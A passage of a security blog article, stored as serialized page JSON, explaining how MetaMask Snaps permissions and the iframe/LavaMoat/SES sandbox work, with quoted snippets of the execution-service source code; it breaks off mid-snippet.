Security",{"type":24,"tag":25,"props":37273,"children":37274},{},[37275],{"type":29,"value":37276},"In the first part of the article, we'll describe how the Metamask sandbox works, and examine what it's doing to protect the security of Snaps.",{"type":24,"tag":1019,"props":37278,"children":37280},{"id":37279},"permission-based-security",[37281],{"type":29,"value":37282},"Permission-based security",{"type":24,"tag":25,"props":37284,"children":37285},{},[37286,37288,37294],{"type":29,"value":37287},"Each snap is built to have only the permissions it needs to hold. These permissions are specified in the ",{"type":24,"tag":32,"props":37289,"children":37291},{"className":37290},[],[37292],{"type":29,"value":37293},"snap.manifest.json",{"type":29,"value":37295}," file and can be critical to security.",{"type":24,"tag":25,"props":37297,"children":37298},{},[37299],{"type":29,"value":37300},"Snap security is totally centered around the user, whose decisions can provide dangerous permissions to a malicious snap. Metamask warns about the risk of each permission.",{"type":24,"tag":25,"props":37302,"children":37303},{},[37304],{"type":29,"value":37305},"Here are the critical permissions possible to be given to a snap:",{"type":24,"tag":25,"props":37307,"children":37308},{},[37309],{"type":24,"tag":6301,"props":37310,"children":37312},{"alt":7,"src":37311},"/posts/metamask-snaps/permissions.png",[],{"type":24,"tag":3207,"props":37314,"children":37315},{},[37316,37334],{"type":24,"tag":3104,"props":37317,"children":37318},{},[37319,37325,37326,37332],{"type":24,"tag":32,"props":37320,"children":37322},{"className":37321},[],[37323],{"type":29,"value":37324},"snap_getBip44Entropy",{"type":29,"value":13360},{"type":24,"tag":32,"props":37327,"children":37329},{"className":37328},[],[37330],{"type":29,"value":37331},"snap_getBip32Entropy",{"type":29,"value":37333}," -> a malicious snap retrieving keypair leads to loss of funds",{"type":24,"tag":3104,"props":37335,"children":37336},{},[37337,37343],{"type":24,"tag":32,"props":37338,"children":37340},{"className":37339},[],[37341],{"type":29,"value":37342},"endowment:transaction-insight",{"type":29,"value":37344}," -> a malicious snap getting insights of a transaction before approval can lead to frontrunning attacks",{"type":24,"tag":1019,"props":37346,"children":37348},{"id":37347},"snap-execution-environment",[37349],{"type":29,"value":37350},"Snap execution environment",{"type":24,"tag":25,"props":37352,"children":37353},{},[37354],{"type":29,"value":37355},"Snaps are executed in a totally sandboxed environment which provides a safe context for executing untrusted code, and separates it from the normal execution flow. To accomplish this, Metamask uses 3 layers of security to create this safe environment:",{"type":24,"tag":3100,"props":37357,"children":37358},{},[37359,37364,37369],{"type":24,"tag":3104,"props":37360,"children":37361},{},[37362],{"type":29,"value":37363},"An isolated iframe",{"type":24,"tag":3104,"props":37365,"children":37366},{},[37367],{"type":29,"value":37368},"LavaMoat",{"type":24,"tag":3104,"props":37370,"children":37371},{},[37372],{"type":29,"value":37373},"SES (Secure EcmaScript)",{"type":24,"tag":25,"props":37375,"children":37376},{},[37377],{"type":24,"tag":6301,"props":37378,"children":37380},{"alt":7,"src":37379},"/posts/metamask-snaps/environment.png",[],{"type":24,"tag":1019,"props":37382,"children":37384},{"id":37383},"isolated-iframe-layer-1",[37385],{"type":29,"value":37386},"Isolated Iframe - Layer 1",{"type":24,"tag":25,"props":37388,"children":37389},{},[37390,37392,37399],{"type":29,"value":37391},"Snaps empower developers to enhance Metamask's functionality while maintaining a strong security posture. These modules execute within an ",{"type":24,"tag":69,"props":37393,"children":37396},{"href":37394,"rel":37395},"https://blog.logrocket.com/the-ultimate-guide-to-iframes/",[73],[37397],{"type":29,"value":37398},"Iframe",{"type":29,"value":37400}," environment, ensuring they are isolated and secure. To facilitate this execution, Metamask takes advantage of an iFrame sandboxing mechanism, allowing snaps to operate in a contained context.",{"type":24,"tag":20686,"props":37402,"children":37404},{"id":37403},"the-framework-metamask-extension-repo",[37405],{"type":29,"value":37406},"The Framework: Metamask-Extension Repo",{"type":24,"tag":25,"props":37408,"children":37409},{},[37410,37412,37418,37420,37426],{"type":29,"value":37411},"The process of snap execution kicks off within the metamask-extension repository's ",{"type":24,"tag":32,"props":37413,"children":37415},{"className":37414},[],[37416],{"type":29,"value":37417},"metamask-controller.js",{"type":29,"value":37419}," file. Here's a glimpse of the relevant ",{"type":24,"tag":69,"props":37421,"children":37424},{"href":37422,"rel":37423},"https://github.com/MetaMask/metamask-extension/blob/4b23ea8c95bea9ea12336537bb6bda4568a99098/app/scripts/metamask-controller.js#L978",[73],[37425],{"type":29,"value":32},{"type":29,"value":78},{"type":24,"tag":80,"props":37428,"children":37432},{"className":37429,"code":37430,"language":37431,"meta":7,"style":7},"language-javascript shiki shiki-themes slack-dark","// Import snaps-controllers\n// ...\nconst snapExecutionServiceArgs = {\n iframeUrl: new URL(process.env.IFRAME_EXECUTION_ENVIRONMENT_URL),\n messenger: this.controllerMessenger.getRestricted({\n name: 'ExecutionService',\n }),\n setupSnapProvider: this.setupSnapProvider.bind(this),\n};\n\n// Define IFRAME_EXECUTION_ENVIRONMENT_URL\nprocess.env.IFRAME_EXECUTION_ENVIRONMENT_URL =\n 'https://execution.metamask.io/0.36.1-flask.1/index.html';\n// ...\n","javascript",[37433],{"type":24,"tag":32,"props":37434,"children":37435},{"__ignoreMap":7},[37436,37444,37452,37472,37520,37555,37572,37580,37622,37629,37636,37644,37672,37684],{"type":24,"tag":90,"props":37437,"children":37438},{"class":92,"line":93},[37439],{"type":24,"tag":90,"props":37440,"children":37441},{"style":252},[37442],{"type":29,"value":37443},"// Import snaps-controllers\n",{"type":24,"tag":90,"props":37445,"children":37446},{"class":92,"line":200},[37447],{"type":24,"tag":90,"props":37448,"children":37449},{"style":252},[37450],{"type":29,"value":37451},"// ...\n",{"type":24,"tag":90,"props":37453,"children":37454},{"class":92,"line":239},[37455,37459,37464,37468],{"type":24,"tag":90,"props":37456,"children":37457},{"style":97},[37458],{"type":29,"value":508},{"type":24,"tag":90,"props":37460,"children":37461},{"style":136},[37462],{"type":29,"value":37463}," snapExecutionServiceArgs",{"type":24,"tag":90,"props":37465,"children":37466},{"style":120},[37467],{"type":29,"value":216},{"type":24,"tag":90,"props":37469,"children":37470},{"style":114},[37471],{"type":29,"value":269},{"type":24,"tag":90,"props":37473,"children":37474},{"class":92,"line":248},[37475,37480,37484,37489,37493,37498,37502,37507,37511,37516],{"type":24,"tag":90,"props":37476,"children":37477},{"style":136},[37478],{"type":29,"value":37479}," iframeUrl:",{"type":24,"tag":90,"props":37481,"children":37482},{"style":97},[37483],{"type":29,"value":33746},{"type":24,"tag":90,"props":37485,"children":37486},{"style":108},[37487],{"type":29,"value":37488}," URL",{"type":24,"tag":90,"props":37490,"children":37491},{"style":114},[37492],{"type":29,"value":117},{"type":24,"tag":90,"props":37494,"children":37495},{"style":136},[37496],{"type":29,"value":37497},"process",{"type":24,"tag":90,"props":37499,"children":37500},{"style":114},[37501],{"type":29,"value":226},{"type":24,"tag":90,"props":37503,"children":37504},{"style":136},[37505],{"type":29,"value":37506},"env",{"type":24,"tag":90,"props":37508,"children":37509},{"style":114},[37510],{"type":29,"value":226},{"type":24,"tag":90,"props":37512,"children":37513},{"style":136},[37514],{"type":29,"value":37515},"IFRAME_EXECUTION_ENVIRONMENT_URL",{"type":24,"tag":90,"props":37517,"children":37518},{"style":114},[37519],{"type":29,"value":779},{"type":24,"tag":90,"props":37521,"children":37522},{"class":92,"line":258},[37523,37528,37533,37537,37542,37546,37551],{"type":24,"tag":90,"props":37524,"children":37525},{"style":136},[37526],{"type":29,"value":37527}," messenger:",{"type":24,"tag":90,"props":37529,"children":37530},{"style":97},[37531],{"type":29,"value":37532}," this",{"type":24,"tag":90,"props":37534,"children":37535},{"style":114},[37536],{"type":29,"value":226},{"type":24,"tag":90,"props":37538,"children":37539},{"style":136},[37540],{"type":29,"value":37541},"controllerMessenger",{"type":24,"tag":90,"props":37543,"children":37544},{"style":114},[37545],{"type":29,"value":226},{"type":24,"tag":90,"props":37547,"children":37548},{"style":108},[37549],{"type":29,"value":37550},"getRestricted",{"type":24,"tag":90,"props":37552,"children":37553},{"style":114},[37554],{"type":29,"value":1640},{"type":24,"tag":90,"props":37556,"children":37557},{"class":92,"line":272},[37558,37563,37568],{"type":24,"tag":90,"props":37559,"children":37560},{"style":136},[37561],{"type":29,"value":37562}," name:",{"type":24,"tag":90,"props":37564,"children":37565},{"style":1085},[37566],{"type":29,"value":37567}," 'ExecutionService'",{"type":24,"tag":90,"props":37569,"children":37570},{"style":114},[37571],{"type":29,"value":748},{"type":24,"tag":90,"props":37573,"children":37574},{"class":92,"line":281},[37575],{"type":24,"tag":90,"props":37576,"children":37577},{"style":114},[37578],{"type":29,"value":37579}," }),\n",{"type":24,"tag":90,"props":37581,"children":37582},{"class":92,"line":384},[37583,37588,37592,37596,37601,37605,37610,37614,37618],{"type":24,"tag":90,"props":37584,"children":37585},{"style":136},[37586],{"type":29,"value":37587}," setupSnapProvider:",{"type":24,"tag":90,"props":37589,"children":37590},{"style":97},[37591],{"type":29,"value":37532},{"type":24,"tag":90,"props":37593,"children":37594},{"style":114},[37595],{"type":29,"value":226},{"type":24,"tag":90,"props":37597,"children":37598},{"style":136},[37599],{"type":29,"value":37600},"setupSnapProvider",{"type":24,"tag":90,"props":37602,"children":37603},{"style":114},[37604],{"type":29,"value":226},{"type":24,"tag":90,"props":37606,"children":37607},{"style":108},[37608],{"type":29,"value":37609},"bind",{"type":24,"tag":90,"props":37611,"children":37612},{"style":114},[37613],{"type":29,"value":117},{"type":24,"tag":90,"props":37615,"children":37616},{"style":97},[37617],{"type":29,"value":4216},{"type":24,"tag":90,"props":37619,"children":37620},{"style":114},[37621],{"type":29,"value":779},{"type":24,"tag":90,"props":37623,"children":37624},{"class":92,"line":420},[37625],{"type":24,"tag":90,"props":37626,"children":37627},{"style":114},[37628],{"type":29,"value":3093},{"type":24,"tag":90,"props":37630,"children":37631},{"class":92,"line":428},[37632],{"type":24,"tag":90,"props":37633,"children":37634},{"emptyLinePlaceholder":16},[37635],{"type":29,"value":245},{"type":24,"tag":90,"props":37637,"children":37638},{"class":92,"line":437},[37639],{"type":24,"tag":90,"props":37640,"children":37641},{"style":252},[37642],{"type":29,"value":37643},"// Define IFRAME_EXECUTION_ENVIRONMENT_URL\n",{"type":24,"tag":90,"props":37645,"children":37646},{"class":92,"line":574},[37647,37651,37655,37659,37663,37667],{"type":24,"tag":90,"props":37648,"children":37649},{"style":136},[37650],{"type":29,"value":37497},{"type":24,"tag":90,"props":37652,"children":37653},{"style":114},[37654],{"type":29,"value":226},{"type":24,"tag":90,"props":37656,"children":37657},{"style":136},[37658],{"type":29,"value":37506},{"type":24,"tag":90,"props":37660,"children":37661},{"style":114},[37662],{"type":29,"value":226},{"type":24,"tag":90,"props":37664,"children":37665},{"style":136},[37666],{"type":29,"value":37515},{"type":24,"tag":90,"props":37668,"children":37669},{"style":120},[37670],{"type":29,"value":37671}," =\n",{"type":24,"tag":90,"props":37673,"children":37674},{"class":92,"line":606},[37675,37680],{"type":24,"tag":90,"props":37676,"children":37677},{"style":1085},[37678],{"type":29,"value":37679}," 'https://execution.metamask.io/0.36.1-flask.1/index.html'",{"type":24,"tag":90,"props":37681,"children":37682},{"style":114},[37683],{"type":29,"value":381},{"type":24,"tag":90,"props":37685,"children":37686},{"class":92,"line":615},[37687],{"type":24,"tag":90,"props":37688,"children":37689},{"style":252},[37690],{"type":29,"value":37451},{"type":24,"tag":25,"props":37692,"children":37693},{},[37694,37696,37702,37704,37710,37712,37717],{"type":29,"value":37695},"This code is defining the ",{"type":24,"tag":32,"props":37697,"children":37699},{"className":37698},[],[37700],{"type":29,"value":37701},"snapExecutionServiceArgs",{"type":29,"value":37703}," object, which contains information required for the ",{"type":24,"tag":32,"props":37705,"children":37707},{"className":37706},[],[37708],{"type":29,"value":37709},"IframeExecutionService",{"type":29,"value":37711}," to execute snaps. The ",{"type":24,"tag":32,"props":37713,"children":37715},{"className":37714},[],[37716],{"type":29,"value":37515},{"type":29,"value":37718}," points to the location where the execution environment resides.",{"type":24,"tag":20686,"props":37720,"children":37722},{"id":37721},"executing-snaps-iframeexecutionservice-in-action",[37723],{"type":29,"value":37724},"Executing Snaps: IframeExecutionService in Action",{"type":24,"tag":25,"props":37726,"children":37727},{},[37728,37730,37735,37737,37743],{"type":29,"value":37729},"Inside the snaps-controller package's IframeExecutionService.ts file, the ",{"type":24,"tag":32,"props":37731,"children":37733},{"className":37732},[],[37734],{"type":29,"value":37709},{"type":29,"value":37736}," orchestrates snap execution. Again, here's a snippet of the relevant ",{"type":24,"tag":69,"props":37738,"children":37741},{"href":37739,"rel":37740},"https://github.com/MetaMask/snaps/blob/92fcf31678c13067615e6e69681e57a542a2c58a/packages/snaps-controllers/src/services/AbstractExecutionService.ts#L89",[73],[37742],{"type":29,"value":32},{"type":29,"value":78},{"type":24,"tag":80,"props":37745,"children":37749},{"className":37746,"code":37747,"language":37748,"meta":7,"style":7},"language-typescript shiki shiki-themes slack-dark","// Register message handlers for snap interactions\nthis.#messenger.registerActionHandler(\n `${controllerName}:handleRpcRequest`,\n async (snapId: string, options: SnapRpcHookArgs) =>\n this.handleRpcRequest(snapId, options),\n);\n\n// More handlers for executeSnap, terminateSnap, etc.\n// ...\n\n// Execute a snap\nasync executeSnap(snapData: SnapExecutionData) {\n // Initialize job, streams, and environment\n const { jobId } = await this.initJob(snapData);\n const { worker, stream } = await this.initEnvStream(jobId);\n // ...\n}\n","typescript",[37750],{"type":24,"tag":32,"props":37751,"children":37752},{"__ignoreMap":7},[37753,37761,37790,37820,37873,37910,37917,37924,37932,37939,37946,37954,37989,37997,38053,38115,38123],{"type":24,"tag":90,"props":37754,"children":37755},{"class":92,"line":93},[37756],{"type":24,"tag":90,"props":37757,"children":37758},{"style":252},[37759],{"type":29,"value":37760},"// Register message handlers for snap interactions\n",{"type":24,"tag":90,"props":37762,"children":37763},{"class":92,"line":200},[37764,37768,37772,37777,37781,37786],{"type":24,"tag":90,"props":37765,"children":37766},{"style":97},[37767],{"type":29,"value":4216},{"type":24,"tag":90,"props":37769,"children":37770},{"style":114},[37771],{"type":29,"value":226},{"type":24,"tag":90,"props":37773,"children":37774},{"style":136},[37775],{"type":29,"value":37776},"#messenger",{"type":24,"tag":90,"props":37778,"children":37779},{"style":114},[37780],{"type":29,"value":226},{"type":24,"tag":90,"props":37782,"children":37783},{"style":108},[37784],{"type":29,"value":37785},"registerActionHandler",{"type":24,"tag":90,"props":37787,"children":37788},{"style":114},[37789],{"type":29,"value":680},{"type":24,"tag":90,"props":37791,"children":37792},{"class":92,"line":239},[37793,37798,37802,37807,37811,37816],{"type":24,"tag":90,"props":37794,"children":37795},{"style":1085},[37796],{"type":29,"value":37797}," `",{"type":24,"tag":90,"props":37799,"children":37800},{"style":97},[37801],{"type":29,"value":35923},{"type":24,"tag":90,"props":37803,"children":37804},{"style":136},[37805],{"type":29,"value":37806},"controllerName",{"type":24,"tag":90,"props":37808,"children":37809},{"style":97},[37810],{"type":29,"value":35955},{"type":24,"tag":90,"props":37812,"children":37813},{"style":1085},[37814],{"type":29,"value":37815},":handleRpcRequest`",{"type":24,"tag":90,"props":37817,"children":37818},{"style":114},[37819],{"type":29,"value":748},{"type":24,"tag":90,"props":37821,"children":37822},{"class":92,"line":248},[37823,37828,37832,37837,37841,37846,37850,37855,37859,37864,37868],{"type":24,"tag":90,"props":37824,"children":37825},{"style":97},[37826],{"type":29,"value":37827}," async",{"type":24,"tag":90,"props":37829,"children":37830},{"style":114},[37831],{"type":29,"value":1151},{"type":24,"tag":90,"props":37833,"children":37834},{"style":136},[37835],{"type":29,"value":37836},"snapId",{"type":24,"tag":90,"props":37838,"children":37839},{"style":120},[37840],{"type":29,"value":78},{"type":24,"tag":90,"props":37842,"children":37843},{"style":146},[37844],{"type":29,"value":37845}," string",{"type":24,"tag":90,"props":37847,"children":37848},{"style":114},[37849],{"type":29,"value":133},{"type":24,"tag":90,"props":37851,"children":37852},{"style":136},[37853],{"type":29,"value":37854},"options",{"type":24,"tag":90,"props":37856,"children":37857},{"style":120},[37858],{"type":29,"value":78},{"type":24,"tag":90,"props":37860,"children":37861},{"style":146},[37862],{"type":29,"value":37863}," SnapRpcHookArgs",{"type":24,"tag":90,"props":37865,"children":37866},{"style":114},[37867],{"type":29,"value":172},{"type":24,"tag":90,"props":37869,"children":37870},{"style":97},[37871],{"type":29,"value":37872},"=>\n",{"type":24,"tag":90,"props":37874,"children":37875},{"class":92,"line":258},[37876,37881,37885,37890,37894,37898,37902,37906],{"type":24,"tag":90,"props":37877,"children":37878},{"style":97},[37879],{"type":29,"value":37880}," this",{"type":24,"tag":90,"props":37882,"children":37883},{"style":114},[37884],{"type":29,"value":226},{"type":24,"tag":90,"props":37886,"children":37887},{"style":108},[37888],{"type":29,"value":37889},"handleRpcRequest",{"type":24,"tag":90,"props":37891,"children":37892},{"style":114},[37893],{"type":29,"value":117},{"type":24,"tag":90,"props":37895,"children":37896},{"style":136},[37897],{"type":29,"value":37836},{"type":24,"tag":90,"props":37899,"children":37900},{"style":114},[37901],{"type":29,"value":133},{"type":24,"tag":90,"props":37903,"children":37904},{"style":136},[37905],{"type":29,"value":37854},{"type":24,"tag":90,"props":37907,"children":37908},{"style":114},[37909],{"type":29,"value":779},{"type":24,"tag":90,"props":37911,"children":37912},{"class":92,"line":272},[37913],{"type":24,"tag":90,"props":37914,"children":37915},{"style":114},[37916],{"type":29,"value":571},{"type":24,"tag":90,"props":37918,"children":37919},{"class":92,"line":281},[37920],{"type":24,"tag":90,"props":37921,"children":37922},{"emptyLinePlaceholder":16},[37923],{"type":29,"value":245},{"type":24,"tag":90,"props":37925,"children":37926},{"class":92,"line":384},[37927],{"type":24,"tag":90,"props":37928,"children":37929},{"style":252},[37930],{"type":29,"value":37931},"// More handlers for executeSnap, terminateSnap, etc.\n",{"type":24,"tag":90,"props":37933,"children":37934},{"class":92,"line":420},[37935],{"type":24,"tag":90,"props":37936,"children":37937},{"style":252},[37938],{"type":29,"value":37451},{"type":24,"tag":90,"props":37940,"children":37941},{"class":92,"line":428},[37942],{"type":24,"tag":90,"props":37943,"children":37944},{"emptyLinePlaceholder":16},[37945],{"type":29,"value":245},{"type":24,"tag":90,"props":37947,"children":37948},{"class":92,"line":437},[37949],{"type":24,"tag":90,"props":37950,"children":37951},{"style":252},[37952],{"type":29,"value":37953},"// Execute a snap\n",{"type":24,"tag":90,"props":37955,"children":37956},{"class":92,"line":574},[37957,37962,37967,37971,37976,37980,37985],{"type":24,"tag":90,"props":37958,"children":37959},{"style":136},[37960],{"type":29,"value":37961},"async",{"type":24,"tag":90,"props":37963,"children":37964},{"style":108},[37965],{"type":29,"value":37966}," executeSnap",{"type":24,"tag":90,"props":37968,"children":37969},{"style":114},[37970],{"type":29,"value":117},{"type":24,"tag":90,"props":37972,"children":37973},{"style":136},[37974],{"type":29,"value":37975},"snapData",{"type":24,"tag":90,"props":37977,"children":37978},{"style":114},[37979],{"type":29,"value":1833},{"type":24,"tag":90,"props":37981,"children":37982},{"style":136},[37983],{"type":29,"value":37984},"SnapExecutionData",{"type":24,"tag":90,"props":37986,"children":37987},{"style":114},[37988],{"type":29,"value":1297},{"type":24,"tag":90,"props":37990,"children":37991},{"class":92,"line":606},[37992],{"type":24,"tag":90,"props":37993,"children":37994},{"style":252},[37995],{"type":29,"value":37996}," // Initialize job, streams, and environment\n",{"type":24,"tag":90,"props":37998,"children":37999},{"class":92,"line":615},[38000,38005,38009,38014,38019,38023,38028,38032,38036,38041,38045,38049],{"type":24,"tag":90,"props":38001,"children":38002},{"style":97},[38003],{"type":29,"value":38004}," const",{"type":24,"tag":90,"props":38006,"children":38007},{"style":114},[38008],{"type":29,"value":1196},{"type":24,"tag":90,"props":38010,"children":38011},{"style":136},[38012],{"type":29,"value":38013},"jobId",{"type":24,"tag":90,"props":38015,"children":38016},{"style":114},[38017],{"type":29,"value":38018}," } ",{"type":24,"tag":90,"props":38020,"children":38021},{"style":120},[38022],{"type":29,"value":5491},{"type":24,"tag":90,"props":38024,"children":38025},{"style":636},[38026],{"type":29,"value":38027}," await",{"type":24,"tag":90,"props":38029,"children":38030},{"style":97},[38031],{"type":29,"value":37532},{"type":24,"tag":90,"props":38033,"children":38034},{"style":114},[38035],{"type":29,"value":226},{"type":24,"tag":90,"props":38037,"children":38038},{"style":108},[38039],{"type":29,"value":38040},"initJob",{"type":24,"tag":90,"props":38042,"children":38043},{"style":114},[38044],{"type":29,"value":117},{"type":24,"tag":90,"props":38046,"children":38047},{"style":136},[38048],{"type":29,"value":37975},{"type":24,"tag":90,"props":38050,"children":38051},{"style":114},[38052],{"type":29,"value":571},{"type":24,"tag":90,"props":38054,"children":38055},{"class":92,"line":623},[38056,38060,38064,38069,38073,38078,38082,38086,38090,38094,38098,38103,38107,38111],{"type":24,"tag":90,"props":38057,"children":38058},{"style":97},[38059],{"type":29,"value":38004},{"type":24,"tag":90,"props":38061,"children":38062},{"style":114},[38063],{"type":29,"value":1196},{"type":24,"tag":90,"props":38065,"children":38066},{"style":136},[38067],{"type":29,"value":38068},"worker",{"type":24,"tag":90,"props":38070,"children":38071},{"style":114},[38072],{"type":29,"value":133},{"type":24,"tag":90,"props":38074,"children":38075},{"style":136},[38076],{"type":29,"value":38077},"stream",{"type":24,"tag":90,"props":38079,"children":38080},{"style":114},[38081],{"type":29,"value":38018},{"type":24,"tag":90,"props":38083,"children":38084},{"style":120},[38085],{"type":29,"value":5491},{"type":24,"tag":90,"props":38087,"children":38088},{"style":636},[38089],{"type":29,"value":38027},{"type":24,"tag":90,"props":38091,"children":38092},{"style":97},[38093],{"type":29,"value":37532},{"type":24,"tag":90,"props":38095,"children":38096},{"style":114},[38097],{"type":29,"value":226},{"type":24,"tag":90,"props":38099,"children":38100},{"style":108},[38101],{"type":29,"value":38102},"initEnvStream",{"type":24,"tag":90,"props":38104,"children":38105},{"style":114},[38106],{"type":29,"value":117},{"type":24,"tag":90,"props":38108,"children":38109},{"style":136},[38110],{"type":29,"value":38013},{"type":24,"tag":90,"props":38112,"children":38113},{"style":114},[38114],{"type":29,"value":571},{"type":24,"tag":90,"props":38116,"children":38117},{"class":92,"line":632},[38118],{"type":24,"tag":90,"props":38119,"children":38120},{"style":252},[38121],{"type":29,"value":38122}," // ...\n",{"type":24,"tag":90,"props":38124,"children":38125},{"class":92,"line":669},[38126],{"type":24,"tag":90,"props":38127,"children":38128},{"style":114},[38129],{"type":29,"value":827},{"type":24,"tag":25,"props":38131,"children":38132},{},[38133,38134,38139,38141,38147],{"type":29,"value":3131},{"type":24,"tag":32,"props":38135,"children":38137},{"className":38136},[],[38138],{"type":29,"value":37709},{"type":29,"value":38140}," registers message handlers that facilitate communication between Metamask and snaps within the iFrame. The ",{"type":24,"tag":32,"props":38142,"children":38144},{"className":38143},[],[38145],{"type":29,"value":38146},"${controllerName}:executeSnap",{"type":29,"value":38148}," handler triggers the snap execution process.",{"type":24,"tag":20686,"props":38150,"children":38152},{"id":38151},"step-by-step-execution-from-initialization-to-iframe-creation",[38153,38155],{"type":29,"value":38154},"Step-by-Step Execution: From Initialization to iFrame ",{"type":24,"tag":69,"props":38156,"children":38159},{"href":38157,"rel":38158},"https://github.com/MetaMask/snaps/blob/92fcf31678c13067615e6e69681e57a542a2c58a/packages/snaps-controllers/src/services/iframe/IframeExecutionService.ts#L31",[73],[38160],{"type":29,"value":38161},"creation",{"type":24,"tag":80,"props":38163,"children":38165},{"className":37746,"code":38164,"language":37748,"meta":7,"style":7},"protected async initEnvStream(jobId: string): Promise\u003C{\n worker: Window;\n stream: BasePostMessageStream;\n }> {\n const iframeWindow = await createWindow(this.iframeUrl.toString(), jobId);\n\n const stream = new WindowPostMessageStream({\n name: 'parent',\n target: 'child',\n targetWindow: iframeWindow,\n targetOrigin: '*',\n });\n\n return { worker: iframeWindow, stream };\n }\n",[38166],{"type":24,"tag":32,"props":38167,"children":38168},{"__ignoreMap":7},[38169,38218,38239,38260,38268,38332,38339,38367,38384,38401,38418,38435,38442,38449,38473],{"type":24,"tag":90,"props":38170,"children":38171},{"class":92,"line":93},[38172,38177,38182,38187,38191,38195,38199,38203,38208,38213],{"type":24,"tag":90,"props":38173,"children":38174},{"style":136},[38175],{"type":29,"value":38176},"protected",{"type":24,"tag":90,"props":38178,"children":38179},{"style":136},[38180],{"type":29,"value":38181}," async",{"type":24,"tag":90,"props":38183,"children":38184},{"style":108},[38185],{"type":29,"value":38186}," initEnvStream",{"type":24,"tag":90,"props":38188,"children":38189},{"style":114},[38190],{"type":29,"value":117},{"type":24,"tag":90,"props":38192,"children":38193},{"style":136},[38194],{"type":29,"value":38013},{"type":24,"tag":90,"props":38196,"children":38197},{"style":114},[38198],{"type":29,"value":1833},{"type":24,"tag":90,"props":38200,"children":38201},{"style":136},[38202],{"type":29,"value":31478},{"type":24,"tag":90,"props":38204,"children":38205},{"style":114},[38206],{"type":29,"value":38207},"): ",{"type":24,"tag":90,"props":38209,"children":38210},{"style":146},[38211],{"type":29,"value":38212},"Promise",{"type":24,"tag":90,"props":38214,"children":38215},{"style":114},[38216],{"type":29,"value":38217},"\u003C{\n",{"type":24,"tag":90,"props":38219,"children":38220},{"class":92,"line":200},[38221,38226,38230,38235],{"type":24,"tag":90,"props":38222,"children":38223},{"style":136},[38224],{"type":29,"value":38225}," worker",{"type":24,"tag":90,"props":38227,"children":38228},{"style":120},[38229],{"type":29,"value":78},{"type":24,"tag":90,"props":38231,"children":38232},{"style":146},[38233],{"type":29,"value":38234}," Window",{"type":24,"tag":90,"props":38236,"children":38237},{"style":114},[38238],{"type":29,"value":381},{"type":24,"tag":90,"props":38240,"children":38241},{"class":92,"line":239},[38242,38247,38251,38256],{"type":24,"tag":90,"props":38243,"children":38244},{"style":136},[38245],{"type":29,"value":38246}," stream",{"type":24,"tag":90,"props":38248,"children":38249},{"style":120},[38250],{"type":29,"value":78},{"type":24,"tag":90,"props":38252,"children":38253},{"style":146},[38254],{"type":29,"value":38255}," BasePostMessageStream",{"type":24,"tag":90,"props":38257,"children":38258},{"style":114},[38259],{"type":29,"value":381},{"type":24,"tag":90,"props":38261,"children":38262},{"class":92,"line":248},[38263],{"type":24,"tag":90,"props":38264,"children":38265},{"style":114},[38266],{"type":29,"value":38267}," }> {\n",{"type":24,"tag":90,"props":38269,"children":38270},{"class":92,"line":258},[38271,38276,38281,38285,38289,38294,38298,38302,38306,38311,38315,38320,38324,38328],{"type":24,"tag":90,"props":38272,"children":38273},{"style":114},[38274],{"type":29,"value":38275}," const ",{"type":24,"tag":90,"props":38277,"children":38278},{"style":136},[38279],{"type":29,"value":38280},"iframeWindow",{"type":24,"tag":90,"props":38282,"children":38283},{"style":120},[38284],{"type":29,"value":216},{"type":24,"tag":90,"props":38286,"children":38287},{"style":636},[38288],{"type":29,"value":38027},{"type":24,"tag":90,"props":38290,"children":38291},{"style":108},[38292],{"type":29,"value":38293}," createWindow",{"type":24,"tag":90,"props":38295,"children":38296},{"style":114},[38297],{"type":29,"value":117},{"type":24,"tag":90,"props":38299,"children":38300},{"style":97},[38301],{"type":29,"value":4216},{"type":24,"tag":90,"props":38303,"children":38304},{"style":114},[38305],{"type":29,"value":226},{"type":24,"tag":90,"props":38307,"children":38308},{"style":136},[38309],{"type":29,"value":38310},"iframeUrl",{"type":24,"tag":90,"props":38312,"children":38313},{"style":114},[38314],{"type":29,"value":226},{"type":24,"tag":90,"props":38316,"children":38317},{"style":108},[38318],{"type":29,"value":38319},"toString",{"type":24,"tag":90,"props":38321,"children":38322},{"style":114},[38323],{"type":29,"value":4900},{"type":24,"tag":90,"props":38325,"children":38326},{"style":136},[38327],{"type":29,"value":38013},{"type":24,"tag":90,"props":38329,"children":38330},{"style":114},[38331],{"type":29,"value":571},{"type":24,"tag":90,"props":38333,"children":38334},{"class":92,"line":272},[38335],{"type":24,"tag":90,"props":38336,"children":38337},{"emptyLinePlaceholder":16},[38338],{"type":29,"value":245},{"type":24,"tag":90,"props":38340,"children":38341},{"class":92,"line":281},[38342,38346,38350,38354,38358,38363],{"type":24,"tag":90,"props":38343,"children":38344},{"style":114},[38345],{"type":29,"value":38275},{"type":24,"tag":90,"props":38347,"children":38348},{"style":136},[38349],{"type":29,"value":38077},{"type":24,"tag":90,"props":38351,"children":38352},{"style":120},[38353],{"type":29,"value":216},{"type":24,"tag":90,"props":38355,"children":38356},{"style":97},[38357],{"type":29,"value":33746},{"type":24,"tag":90,"props":38359,"children":38360},{"style":108},[38361],{"type":29,"value":38362}," WindowPostMessageStream",{"type":24,"tag":90,"props":38364,"children":38365},{"style":114},[38366],{"type":29,"value":1640},{"type":24,"tag":90,"props":38368,"children":38369},{"class":92,"line":384},[38370,38375,38380],{"type":24,"tag":90,"props":38371,"children":38372},{"style":136},[38373],{"type":29,"value":38374}," name:",{"type":24,"tag":90,"props":38376,"children":38377},{"style":1085},[38378],{"type":29,"value":38379}," 'parent'",{"type":24,"tag":90,"props":38381,"children":38382},{"style":114},[38383],{"type":29,"value":748},{"type":24,"tag":90,"props":38385,"children":38386},{"class":92,"line":420},[38387,38392,38397],{"type":24,"tag":90,"props":38388,"children":38389},{"style":136},[38390],{"type":29,"value":38391}," target:",{"type":24,"tag":90,"props":38393,"children":38394},{"style":1085},[38395],{"type":29,"value":38396}," 'child'",{"type":24,"tag":90,"props":38398,"children":38399},{"style":114},[38400],{"type":29,"value":748},{"type":24,"tag":90,"props":38402,"children":38403},{"class":92,"line":428},[38404,38409,38414],{"type":24,"tag":90,"props":38405,"children":38406},{"style":136},[38407],{"type":29,"value":38408}," targetWindow:",{"type":24,"tag":90,"props":38410,"children":38411},{"style":136},[38412],{"type":29,"value":38413}," iframeWindow",{"type":24,"tag":90,"props":38415,"children":38416},{"style":114},[38417],{"type":29,"value":748},{"type":24,"tag":90,"props":38419,"children":38420},{"class":92,"line":437},[38421,38426,38431],{"type":24,"tag":90,"props":38422,"children":38423},{"style":136},[38424],{"type":29,"value":38425}," 